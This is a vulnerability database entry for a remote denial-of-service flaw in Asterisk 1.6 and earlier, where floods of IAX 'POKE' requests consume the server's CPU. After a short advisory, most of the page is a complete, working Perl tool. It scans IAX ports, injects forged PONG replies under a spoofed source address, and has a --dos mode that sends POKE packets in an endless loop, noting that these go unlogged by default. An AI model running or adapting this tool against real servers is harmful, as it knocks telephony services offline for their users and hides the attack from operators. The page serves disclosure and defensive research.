Lucene search
K

Asterisk <= 1.6 IAX 'POKE' Requests Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

Asterisk <= 1.6 IAX 'POKE' Requests Remote Denial of Service Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/30321/info

Asterisk is prone to a remote denial-of-service vulnerability because it fails to handle multiple &#39;POKE&#39; requests in quick succession.

Attackers can exploit this issue by sending a persistent stream of &#39;POKE&#39; requests that will consume processor resources and deny service to legitimate users.

NOTE: By default, &#39;POKE&#39; requests are not logged by Asterisk. 

#!/usr/bin/perl -w
#udp IAX ping discovery and injection tool
#Created: Blake Cornell
#Released under no license, use at your own free will
#
# Do not hesitate to show enthusiasm and support
# 	and help develop this further.

use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;


my @target_port = (4569);
my @targets = (&#39;127.0.0.1&#39;);

my $result = GetOptions(&#39;port|p=i&#39; =&#62; \(my $port = &#39;&#39;),
			&#39;sport|sp=i&#39; =&#62; \(my $sport = &#39;&#39;),
			&#39;eport|ep=i&#39; =&#62; \(my $eport = &#39;&#39;),
			&#39;source|sip=s&#39; =&#62; \(my $source = &#39;&#39;),
			&#39;host|h=s&#39; =&#62; \(my $host = &#39;&#39;),
			&#39;inject|in&#39; =&#62; \(my $inject = &#39;&#39;),
			&#39;dos&#39; =&#62; \(my $dos = &#39;&#39;),
			&#39;timeout|t=i&#39; =&#62; \(my $timeout = &#39;&#39;),
			&#39;dundi-check|dundi&#39; =&#62; \(my $dundi = &#39;&#39;),
			&#39;verbose|v&#39; =&#62; \(my $verbose = &#39;&#39;),
			&#39;help|?&#39; =&#62; \(my $help = &#39;&#39;)) or pod2usage(2);

if($help) { printUsage(); }
if($host) { @targets=@{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($dundi) { print &#34;DUNDI Option Scan not supported yet.&#34;; }
if($source) { print &#34;Setting of the source IP address is only supported 
in inject mode&#34;; }


if($inject) { 
	if($verbose) { print &#34;INJECTION MODE&#34;; }
	if(!@targets) {
		print &#34;\nSet the host ( -h ) option\n&#34;;
		return 1;
	}
	for(my $i=20000;$i&#60;=65535;$i++) {
		for(my $j=0;$j&#60;=$#targets;$j++) {
			if($verbose) { print $targets[$j]; }
			injectIAXPoke($targets[$j],$source,$i,0);
		}
	#my($target,$source,$port,$timeout,@args)=@_;
	}
	exit;
}

if($dos) {
	while(1) {
		for(my $j=0;$j&#60;=$#targets;$j++) {
			if($verbose) { print $targets[$j]; }
			dosIAXPoke($targets[$j],4569,$timeout);
		}
		
	}
}

if($sport ne &#39;&#39; && $eport ne &#39;&#39;) { #defined doesn&#39;t work for getoptions
				#devices are always defined
	if($verbose ne &#39;&#39;) { print &#34;Scanning Port Range\n&#34;; }
	if($eport &#60; $sport) {
		my $tmp = $eport;
		$eport = $sport;
		$sport = $tmp;
	}
	if($sport &#60; 1) { $sport = 1; }
	if($eport &#62; 65535) { $eport = 65535; }
	if($timeout ne &#39;&#39; && $verbose ne &#39;&#39;) {
		if($timeout &#60;= 0) {
			$timeout = 1;
		}
		print &#34;Scanning Ports $sport through $eport\n&#34;;
		print &#34;Setting timeout to $timeout\n&#34;;
	}

	@target_port=();
	for(my $i=$sport; $i &#60;= $eport; $i++) {
		push(@target_port,$i);
	}
	sendIAXPokes(\@targets,\@target_port);

}else{	#scanning only default port...
	sendIAXPokes(\@targets,\@target_port);
}

sub sendIAXPokes {
	my($targets_ref,$target_ports_ref,@args)=@_;

	my @targets=@{$targets_ref};
	my @target_ports=@{$target_ports_ref};

	for(my $i=0;$i&#60;=$#targets;$i++) {
		for(my $j=0;$j&#60;=$#target_ports;$j++) {
			
sendIAXPoke($targets[$i],$target_ports[$j],$timeout);
		}
	}
}

sub sendIAXPoke {
	my($target,$port,$timeout,@args)=@_;

	if($verbose) {
		print &#34;Trying $target:$port\n&#34;;

	}
	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname(&#34;udp&#34;));

	my $src_call = &#34;8000&#34;; 
	my $dst_call = &#34;0000&#34;;
	my $timestamp = &#34;00000000&#34;;
	my $outbound_seq = &#34;00&#34;;
	my $inbound_seq = &#34;00&#34;;
	my $type = &#34;06&#34;; #IAX_Control
	my $iax_type = &#34;1e&#34;; #POKE
	my $msg = pack &#34;H24&#34;, $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $ipaddr = inet_aton($target);
	my $sin = sockaddr_in($port,$ipaddr);

	send(PING, $msg, 0, $sin) == length($msg) or die &#34;cannot send to 
$target : $port : $!\n&#34;;

	my $MAXLEN = 1024;
	my $TIMEOUT = 1;
	if(defined($timeout) && $timeout ne &#39;&#39; && $timeout != 0) { 
#timeout of 0 hangs
								
#unanswered requests
		$TIMEOUT=$timeout;
	}
	eval {
		local $SIG{ALRM} = sub { die &#34;alarm time out&#34;; };
		alarm $TIMEOUT;

		while (1) {
			my $recvfrom = recv(PING, $msg, $MAXLEN, 0) or 
die &#34;recv: $!&#34;;
			($port, $ipaddr) = sockaddr_in($recvfrom);
			my $respaddr = inet_ntoa($ipaddr);
			print &#34;Response from $respaddr : $port\n&#34;;
			return($respaddr,$port);
		}

	}; 
}

sub injectIAXPoke {
	my($target,$source,$port,$timeout,@args)=@_;

	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname(&#34;udp&#34;));

	my $src_call = &#34;8000&#34;; 
	my $dst_call = &#34;0000&#34;;
	my $timestamp = &#34;00000000&#34;;
	my $outbound_seq = &#34;00&#34;;
	my $inbound_seq = &#34;01&#34;; #increment by one did he say?
	my $type = &#34;06&#34;; #IAX_Control
	my $iax_type = &#34;03&#34;; #PONG
	my $msg = pack &#34;H24&#34;, $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $targetIP = inet_aton($target);
	my $sin = sockaddr_in($port,$targetIP);

	send(PING, $msg, 0, $sin) == length($msg) or die &#34;cannot send to 
$target : $port : $!\n&#34;;
}

sub retHosts {
	my($host,@args)=@_;
	my @addrs;
	
	if(!$host) { return (&#39;127.0.0.1&#39;) };

	if($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 
&#62;= 0 && $1 &#60;= 255 && $2 &#62;= 0 && $2 &#60;= 255 && $3 &#62;= 0 && $3 &#60;= 255 && $4 
&#62;= 0 && $4 &#60;= 255) {
					#Check to see if host is valid 
class C CIDR Address
	 	if($verbose) { print &#34;Setting CIDR Address Range\n&#34;; }
		my $sn = Net::Subnets-&#62;new;
		
		my($low,$high)=$sn-&#62;range(\$host);
		if($verbose) { print &#34;Determined IP Ranges From $$low - 
$$high\n&#34;; }
		return \@{ $sn-&#62;list(\($$low,$$high)) };
		
	}elsif($host =~ 
/^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 &#62;= 0 && $1 &#60;= 
255 && $2 &#62;= 0 && $2 &#60;= 255 && $3 &#62;= 0 && $3 &#60;= 255 && $4 &#62;= 0 && $4 &#60;= 
255)  {
					#Check to see if host is valid 
IP
		push(@addrs,&#34;$1.$2.$3.$4&#34;);
	}else{
		push(@addrs,$host);
	}
	return \@addrs;
}

sub dosIAXPoke {
	my($target,$port,$timeout,@args)=@_;

	if($verbose) {
		print &#34;Trying $target:$port\n&#34;;

	}
	socket(PING, PF_INET, SOCK_DGRAM, getprotobyname(&#34;udp&#34;));

	my $src_call = &#34;8000&#34;; 
	my $dst_call = &#34;0000&#34;;
	my $timestamp = &#34;00000000&#34;;
	my $outbound_seq = &#34;00&#34;;
	my $inbound_seq = &#34;00&#34;;
	my $type = &#34;06&#34;; #IAX_Control
	my $iax_type = &#34;1e&#34;; #POKE
	my $msg = pack &#34;H24&#34;, $src_call . $dst_call . $timestamp . 
$outbound_seq . $inbound_seq . $type . $iax_type;

	my $ipaddr = inet_aton($target);
	my $sin = sockaddr_in($port,$ipaddr);

	send(PING, $msg, 0, $sin) == length($msg) or die &#34;cannot send to 
$target : $port : $!\n&#34;;
}


sub printUsage {
	print &#34;$0 -h remoteorigin.com \n\t\tScans remoteorigin.com on 
default port of 4569\n&#34;;
	print &#34;$0 -h remoteorigin.com -sp 4000 -ep 5000\n\t\tScans ports 
4000 through 5000 on server remoteorigin.com\n&#34;;
	print &#34;$0 --source remoteorigi.com -h 127.0.0.1 
--inject\n\t\tInjects Forged Poke Replies to 127.0.0.1 from 
remoteorigin.com\n&#34;;
	print &#34;$0 --dos\n\t\tThis will continually send IAX Poke 
packets.  This will eat up CPU cycles and isn&#39;t logged by default\n&#34;;
	exit;
}




                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
7